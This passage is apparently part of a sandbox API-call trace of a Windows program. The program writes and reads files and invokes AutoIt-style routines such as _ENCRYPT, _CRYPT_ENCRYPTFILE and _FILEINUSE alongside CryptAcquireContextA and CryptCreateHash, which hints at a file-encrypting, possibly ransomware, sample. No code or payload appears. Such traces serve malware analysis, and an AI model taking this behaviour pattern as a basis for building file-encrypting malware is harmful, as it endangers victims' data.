cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.724] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.725] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.725] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.725] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.725] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.726] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WriteFile", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WriteFile", cchWideChar=10, lpMultiByteStr=0xe8f417aa40, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WriteFile", lpUsedDefaultChar=0x0) returned 10 [0024.726] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="WriteFile") returned 0x7ffe2a641a0c [0024.726] WriteFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0*, nNumberOfBytesToWrite=0x80b5, lpNumberOfBytesWritten=0xe8f3dfe2e8, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesWritten=0xe8f3dfe2e8*=0x80b5, lpOverlapped=0x0) returned 1 [0024.727] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.727] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.727] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.727] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.728] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.728] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.728] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.728] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.728] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.728] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.728] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.729] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.729] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.729] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.729] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.729] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.729] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.729] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.729] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.729] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.730] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=4007) returned 1 [0024.730] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.730] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.730] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.730] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xfa7, lpOverlapped=0x0) returned 1 [0024.730] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.730] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfa7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.730] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=4007) returned 1 [0024.730] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.730] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.730] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.730] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.730] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.730] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.730] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.730] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.730] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.730] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.730] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.730] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.731] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.731] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.731] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.731] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.731] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.731] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.731] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.731] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.731] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.731] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.731] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.731] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.731] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.731] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.731] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.731] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.731] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.731] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.731] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.731] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.731] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.731] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.731] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.731] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.731] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.731] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.732] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.732] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.732] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.732] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.732] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.732] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.732] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.732] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.732] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.732] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.732] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.732] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.732] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.732] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.732] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.732] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.732] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.732] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.732] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.732] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.732] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.732] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.732] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.732] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.732] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.732] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.732] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.733] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.733] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.733] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.733] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.733] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0024.733] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.733] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.733] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.733] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.733] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.733] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.733] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.733] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.733] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.733] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.733] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.733] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.733] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.733] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.733] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.733] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.733] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.733] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.733] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.734] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.734] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.734] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.734] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.734] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.734] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.734] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.734] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.734] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.734] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.734] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.734] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.734] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.734] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.734] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.734] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.734] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.735] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.735] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.735] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.735] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 